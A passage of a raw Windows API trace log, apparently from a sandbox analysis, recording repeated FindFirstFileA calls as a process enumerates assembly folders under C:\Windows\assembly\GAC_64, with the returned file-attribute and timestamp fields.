ftLastAccessTime.dwLowDateTime=0x650a7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x650a7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.777] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\mcstoredb\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x650a7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x650a7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.783] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\mcupdate\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x650a7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x650a7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\mcupdate\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6530940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6530940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.794] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Mcx2Dvcs\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6530940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6530940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.798] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Mcx2Dvcs\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6530940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6530940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.804] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6556aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6556aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.809] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6556aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6556aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.GroupPolicy.AdmTmplEditor\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6556aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6556aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.820] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.GroupPolicy.AdmTmplEditor\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x657cc00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x657cc00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.825] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.GroupPolicy.AdmTmplEditor.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x657cc00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x657cc00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.830] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.GroupPolicy.AdmTmplEditor.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x65a2d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65a2d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.836] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.GroupPolicy.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x65a2d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65a2d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.841] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.GroupPolicy.Interop\\2.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x65a2d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65a2d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.857] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65c8ec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65c8ec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.863] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Ink\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65ef020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65ef020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.869] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Interop.Security.AzRoles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65ef020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65ef020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.874] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Interop.Security.AzRoles\\2.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc170f2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65ef020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x65ef020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.879] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6615180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6615180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.883] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6615180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6615180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.890] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.iTV.Media\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6615180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6615180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.894] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.iTV.Media\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x663b2e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x663b2e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.900] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.Mheg\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x663b2e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x663b2e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.Mheg\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x663b2e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x663b2e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.Playback\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6661440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6661440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.916] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.Playback\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6661440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6661440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.922] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.TV.Tuners.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6661440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6661440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.927] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.MediaCenter.TV.Tuners.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x66875a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66875a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.933] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa64f6230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66875a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66875a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.938] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e894c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66875a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66875a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.945] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Office.BusinessData\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6379470, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66ad700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66ad700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.951] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Office.BusinessData\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568a2e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66ad700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66ad700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.959] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6815f10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66d3860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66d3860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.965] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64d730d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66d3860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66d3860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.971] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x66f99c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66f99c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.976] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x66f99c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66f99c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.982] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.SharePoint.BusinessData.Administration.Client\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6222810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66f99c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x66f99c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.SharePoint.BusinessData.Administration.Client\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66293410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x671fb20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x671fb20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.993] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x671fb20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x671fb20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.998] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x671fb20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x671fb20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.004] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Windows.Diagnosis.SDEngine\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6745c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6745c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.008] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_64\\Microsoft.Windows.Diagnosis.SDEngine\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, 